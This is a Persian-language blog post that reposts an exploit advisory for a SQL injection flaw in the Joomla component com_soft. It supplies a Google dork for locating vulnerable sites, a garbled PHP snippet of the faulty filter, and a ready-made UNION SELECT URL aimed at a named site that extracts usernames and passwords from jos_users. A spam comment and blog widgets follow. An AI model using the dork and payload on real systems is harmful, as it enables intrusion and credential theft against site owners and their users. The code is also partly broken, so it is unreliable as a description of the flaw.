تبلیغات
دست نوشته های من - باگ جدید در جوملا
 
دست نوشته های من
یا مهدی ادرکنی
شنبه 22 مرداد 1390
یک باگ جدید در جوملا توسط skote-vahshat شناسایی شده است . اطلاعات کامل این باگ :

#############################################################

[#] Application Name : Joomla (com_soft)

[#] Type : SQL Injection

[#] author : Skte_vahshat

[#] Google Dork : index.php?option=com_soft

[#] E-mail: skote.vahshat@gmail.com

[#] http://www.sthst.com/index.php?option=com_soft&cid=3

#############################################################

< ——————- header data end of ——————- >
heloo new bug in joomla

————————————————–

<?php
$id= $_GET[’id’];
….
$yasak = array(“\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\”", “\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\”, “/”, “*”, “’”, “=”, “-
“, “#”, “;”, “<”, “>”, “+”, “%”);
$id = str_replace($yasak, “”, $id);
$query= “SELECT * FROM users WHERE id= ’ “ .$id.” ;”

؟>

نمونه تارگت !

 http://www.sthst.com/index.php?option=com_soft&cid=-3+union+select+0,1,concat_ws(username,0x3a,password),3,4,5,6,7+from+jos_users–

منبع خبر




نوع مطلب : سایر اخبار، 
برچسب ها :
لینک های مرتبط :
نظرات ()
چهارشنبه 1 شهریور 1396 02:44 ب.ظ
An outstanding share! I have just forwarded this onto a
coworker who was conducting a little homework on this. And he in fact ordered me dinner simply
because I discovered it for him... lol. So let me reword this....
Thanks for the meal!! But yeah, thanx for spending some time to talk about this matter here on your internet site.
 
لبخندناراحتچشمک
نیشخندبغلسوال
قلبخجالتزبان
ماچتعجبعصبانی
عینکشیطانگریه
خندهقهقههخداحافظ
سبزقهرهورا
دستگلتفکر





آمار وبلاگ
  • کل بازدید :
  • بازدید امروز :
  • بازدید دیروز :
  • بازدید این ماه :
  • بازدید ماه قبل :
  • تعداد نویسندگان :
  • تعداد کل پست ها :
  • آخرین بازدید :
  • آخرین بروز رسانی :
امکانات جانبی